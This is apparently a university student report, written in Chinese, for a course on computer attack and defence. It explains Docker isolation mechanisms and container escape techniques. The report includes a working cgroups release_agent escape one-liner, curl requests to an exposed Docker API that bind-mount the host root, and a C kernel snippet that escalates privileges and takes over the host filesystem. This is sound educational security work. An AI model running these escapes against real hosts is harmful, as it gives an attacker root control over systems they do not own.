--- tags: AD --- <!-- # NeggaParty2 --> # The Attack and Defense of Computers <small>*(CE6105)*</small><br> [Project 2](https://hackmd.io/@ssrtw/ad22-project2) Report<br> *"Docker Escape"* <!-- :::info :::spoiler 作業說明 {%hackmd -4-TcH42Ruu32HkdRgjJsw %} ::: --> ![](https://i.imgur.com/NtySdhT.jpg) <!-- Sandbox escape -> Container escape Some reserach about docker escape --> <table class="u17b5-table" style="width: 100%;"> <tr><th colspan="5">題目</th></tr> <tr><td colspan="5" style="height: 140px;"><i><font size="5rem">Docker Escape</font></i></td></tr> <tr><th style="width: 25%;">團隊名稱</th> <th style="width: 10%;">項次</th> <th style="width: 10%;">成員姓名</th> <th style="width: 15%;">學系</th> <th style="width: 15%;">學號</th></tr> <tr><td rowspan="3" class="u17b5">឵<code>U+17B5</code></td><td rowspan="3">11</td> <td>謝程偉</td><td>資訊工程學系</td><td>108502516</td></tr> <tr><td>陳彥全</td><td>資訊工程學系</td><td>108502521</td></tr> <tr><td>劉子雍</td><td>資訊工程學系</td><td>108502523</td></tr> </table> <style> .u17b5 code { display: none; } .u17b5:hover code { display: inline; } table.u17b5-table th, table.u17b5-table td { text-align: center !important; } </style> ## Contents [TOC] <div style="height: 400px;"></div> ## What Is Docker? - 一個輕量級的作業系統虛擬化解決方案,以容器(container)的方式,只包含程式庫、系統工具、程式碼和執行時間等執行軟體所需的所有項目,藉此減少資源消耗與執行時間。 - 原先使用 Linux Containers(LXC)技術,現在是用 runC(以前稱為 libcontainer),讓 process 能夠在 host OS 的環境下執行並使用它的資源。 - 雖然減少了資源與時間消耗,但由於 container/kernel 之間隔離較弱、kernel 共享,它的安全性較差。 <!-- a cool technique; --> ### VM vs. Docker - 相同的目標:實現虛擬化的資源管理。 #### VM - 在 OS 裝上另一個 OS。 - 執行 Hypervisor 來模擬一整套完整的硬體環境,可以達到完整的資源分離,但也很浪費資源。 - 以 OS 來做分割。 ![](https://i.imgur.com/lmdkuw8.png =500x) #### Docker - 使用原 OS。 - 以 container 做分割。 ![](https://i.imgur.com/8WzuJLC.png =500x) ## How It Works? <!-- (Linux-Based Systems) --> - 利用 Linux Kernel 中的資源分離機制,在單一 Linux 系統下運作。 ### Docker Daemon & Docker Client - 因為 Docker 是個伺服器端-客戶端結構的應用,會透過伺服端來接收客戶請求並處理對 Container、Image 的操作(建立、執行、停止、分發),通常在 host 端後台執行。 - Docker Daemon:Docker 架構的伺服器端,有提供 RESTful API 給使用者操作或顯示container狀態。 - Docker Client:Docker 架構的客服端,以 command line 的方式讓使用者操作。 - 使用三種 socket:`UNIX`、`Tcp`、`FD` - 預設使用非聯網的 `UNIX` socket,可以藉 `/var/run/docker.sock` 來使用它,需要 root 權限或是 Docker group member。 - 在聯網時會用到 `Tcp` socket 遠端連結 Docker Daemon。在慣例上,不加密會用 `port 2375`,加密會用 `port 2376`。 - 在系統與 Docker Daemon 交互溝通時,會使用 systemed socket `fd://` ### Namespaces - 命名空間(Namespaces):主要是用來隔離。 - 實作 container 的要素之一,用於保證其中執行的應用在容器間互不影響。 - 命名空間抽象地包裝了全域系統資源,讓其內部的 process 看起來擁有自己的全域資源,當全域資源更動時,只有其內部的成員可見。 - 命名空間有很多種,各自有不同的用途。 | Namespace | Flag | Manual Page | Isolates resources | | --------- | --------------- | --------------------- | ------------------------------------ | | Cgroup | CLONE_NEWCGROUP | cgroup_namespaces(7) | Cgroup root directory | | IPC | CLONE_NEWIPC | ipc_namespaces(7) | System V IPC, POSIX message queues | | Network | CLONE_NEWNET | network_namespaces(7) | Network devices, stacks, ports, etc. | | Mount | CLONE_NEWNS | mount_namespaces(7) | Mount points | | PID | CLONE_NEWPID | pid_namespaces(7) | Process IDs | | Time | CLONE_NEWTIME | time_namespaces(7) | Boot and monotonic clocks | | User | CLONE_NEWUSER | user_namespaces(7) | User and group IDs | | UTS | CLONE_NEWUTS | uts_namespaces(7) | Hostname and NIS domain name | ### Control groups(Cgroups) - 主要是資源控管。 - 用來將 processes 以階層式分組的方式組織,並限制和監督裡頭各種類型資源使用。 - 內核的 cgroup 介面可以通過稱為 cgroupfs 的偽文件系統連結。 - 分組時會使用 cgroup kernel code,但是資源監督與控管是透過單一資源種類的子系統(記憶體、CPU 等)。 - 控制 process 能使用的記憶體容量或 CPU 資源,能避免 process 出問題讓整台電腦當機,Docker 則是用來限制 container 能用的 CPU 資源。 ### Union File System - 主要用來分享或發布映像檔(image)。 - 它可以把不同目錄掛載到同一個虛擬檔案系統下,其中被整合的成員目錄稱為分支。 - 裡頭能夠包含唯讀或可讀寫的檔案,還能藉由 copy-on-write 功能將唯讀和可讀寫的檔案合併(就是把對唯讀檔案的修改存到可讀寫檔案中)。 - Docker 支持各種不同的 UnionFS,舊版會偏向使用 AUFS,新版會使用 OverlayFS。 - AUFS(Advanced Multi-layered Unification File System)是 Linux 原本的UnionFS 重寫,有著 UFS 的特性還多了一些效能改進的措施,例如分支平衡、為分支修改權限等,不過它被多次拒絕合併到主線 Linux 後,作者放棄掙扎了。 - OverlayFS 是 Docker 之後使用的 UnionFS,它將要合併的檔案系統分成上層和下層,上層優先度較高,會取代同名檔案。 ## Defense Mechanism ### Seccomp - 這是一種 system call ,用來限制 process 可以使用的 system call 。 ### Capabilities - 原本 UNIX 中,只看使用者是哪種使用者(normal user、super user)來決定讀寫權限。 - 在 kernel 2.2 之後, Linux 將 super user 的權限分成多種,它就叫做 Capabilities ,可以被分別開啟或關閉。 - 一個 thread 開關 Capabilities 。 ### LSM(Linux Security Modules) - 它不是指某種防禦機制,而是電腦安全框架,有很多種,用他們的設定檔限制 Process 的存取權限。 - Docker 使用 AppArmor 來保護 host 資源。 - 此外 Capabilities 中開關 Mandatory Access Control(MAC) 就是藉由它實現。 <!-- magic; --> ## Exploitation ### Container Escape - 主要漏洞為:Container engine 弱點、Capbility 和 Mount、Kernel 弱點 ### Container Engine Bug - runC [CVE-2019-5736](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736) - runC(run container) 是個根據 OCI 規範運行 Container 的程式,而 Docker 就是用它。 - 條件:Container 有 root 權限、執行惡意 Container。 - 正常情況: - 當呼叫 exec 時,runc 會把自己放入 namespace 當中 fork 子程序執行,但執行 `/proc/self/exe` 的話,它會再跑一次 runc,且這次會用 Container 內部的 library。 - 濫用: - 改寫 runc 會用到的動態函式庫,但執行中的程式無法更改,因此用 open 的 O_PATH 留下 `/proc/self/exe` 的文件描述符,當 host 下次執行 exec 時,就會執行該描述符中的檔案。 > 這個漏洞會導致 runC 壞掉! ### Privileged Container - 在 Privileged Container,沒有 Seccomp 限制且 Capability 全開(沒有限制 system call 與權限全開),主要是為了建立一個獨立環境做 host 能做的工作。 - Mount root - 當 procfs 或 sysfs 暴露時,攻擊者就能藉由它做很多事,在 Privileged Container 前提下,它可以直接存取。 - 例如 `/proc` 顯示了所有正在執行的 kernel process data structure,包括在 namespace 中執行的process,也就是 container。你可以用 `/proc/[pid]/root` 不斷找尋當前 process 的 root 直到 PID=1 就是 host init process 了。 - 方法:使用 `ls /sys/dev/block/` 印出 host 根目錄後將其 mount 到 container 中,你就能存取根目錄檔案了。 - [Sensitive Mounts](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts) - Cgroups v1 release notification - 在 Cgroups 當中有個檔案叫 release_agent,用來清理新建的 Cgroups 讓 cgroupfs 保持乾淨,當呼叫它時會刪除 cgroup 目錄。 - 它會在 host 以 root 權限執行,因此我們能透過它在 Container 外執行命令。 - 在 Docker 的 command 中輸入以下指令: 1. d 用來找出 `release_agent` 的位置。 ```bash= d=`dirname $(ls -x /s*/fs/c*/*/r* | head -n1)` ``` 2. 在 Cgroups 資料夾建立資料夾 w,並啟用 notify_on_release。當 Cgroups 為空、它的 task 文件 PID 為空時,kernel 會執行 release_agent。 ```bash=+ mkdir -p $d/w; echo 1 > $d/w/notify_on_release ``` 3. t 用來找出 Host 看到的 container 檔案路徑,讓 release_agent 可以呼叫想跑的惡意腳本。 ```bash=+ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` ``` 4. 將 `release_agent` 指到腳本,把 `echo 0 > $d/w/cgroup.procs` 加入 w 中,當 echo 完,就完成了。 ```bash=+ touch /o; echo $t/c > $d/release_agent; echo "#!/bin/sh $1 > $t/o" > /c; chmod +x /c; sh -c "echo 0 > $d/w/cgroup.procs" sleep 1; cat /o ``` ### Exposed docker.sock - 假如是 Privileged Container,可以在透過 socket 建立 container 時將 host root 目錄 mount 上去。 1. 下載 Image ``` bash= curl \ -s \ "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \ -X POST \ -H 'Content-Type: application/json' ``` 2. 建立 Container ``` bash=+ curl \ -s \ "http://<host>:<port>/containers/create" \ -X POST \ -H "Content-Type: application/json" \ -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true, "AttachStdout": true,"AttachStderr": true,"Tty": true, "OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash", "Image": "ubuntu","Volumes": {"/hostfs/": {}}, "HostConfig": {"Binds": ["/:/hostfs"]}}' ``` 3. 然後就能在建立的 Container 執行 command on host system,記得先換到 host 根目錄。 ``` bash=+ chroot /hostfs ``` - 如果不是 Privileged Container,可以在 Docker 中跑 Docker,建立一個 Privileged Container,就能用前面的手法取得 host 控制。 ### Linux Kernel Exploit - 在 Linux 的 process 結構 `task_struct` 中,有個 `fs_struct fs` 可以看到 process 的 root ,我們可以不斷的往上找,直到 PID=1 時,就是 host 的初始 process,透過它的 fs 就能存取 host 的根目錄。 ```c= typedef unsigned long __attribute__((regparm(3))) (*_copy_fs_struct)(unsigned long init_task); uint64_t get_task(void) { uint64_t task; asm volatile ("movq %%gs: 0xD380, %0":"=r"(task)); return task; } void get_root(void) { int i; char *task; char *init; uint32_t pid = 0; // 用來讓該 process 變成 root 權限 ((_commit_creds)(COMMIT_CREDS))( ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); // 往上找到 init process task = (char *)get_task(); init = task; while (pid != 1) { init = *(char **)(init + TASK_REAL_PARENT_OFFSET); pid = *(uint32_t *)(init + TASK_PID_OFFSET); } // 找到 init process 之後再用 copy_fs_struct 把 fs 複製回來 *(uint64_t *)(task + TASK_FS_OFFSET) = ((_copy_fs_struct)(COPY_FS_STRUCT))( *(long unsigned int *)(init + TASK_FS_OFFSET)); } ``` - 在 Privileged Container 的前提下就能夠 escape,其他的話要繞過 Namespace。 <!-- ask hackers; --> <!-- Here are some possible way to exploit we've found: - vulnerability of runC - exploition of Linux kernel (host env) --> <!-- ## Correspond --> <!-- pray for life; --> ## References **Very Useful Reference.** 》》》 https://yt.be/tcJ3V 《《《 :::success <h3 style="margin-top: 6px;">Docker Basic</h3> - https://cwhu.medium.com/docker-tutorial-101-c3808b899ac6 - https://philipzheng.gitbook.io/docker_practice/introduction/what ::: :::success <h3 style="margin-top: 6px;">Docker Break Point & Container Escape</h3> - https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation - https://teamt5.org/tw/posts/container-escape-101/ - https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf - https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation - https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket ::: :::success <h3 style="margin-top: 6px;">Linux manual page</h3> - https://man7.org/linux/man-pages/man7/namespaces.7.html - https://man7.org/linux/man-pages/man7/cgroups.7.html - https://man7.org/linux/man-pages/man2/seccomp.2.html - https://man7.org/linux/man-pages/man7/capabilities.7.html ::: :::success <h3 style="margin-top: 6px;">Docker Escape tool</h3> - https://github.com/PercussiveElbow/docker-escape-tool - https://github.com/Frichetten/CVE-2019-5736-PoC - https://twitter.com/_fel1x/status/1151487051986087936 :::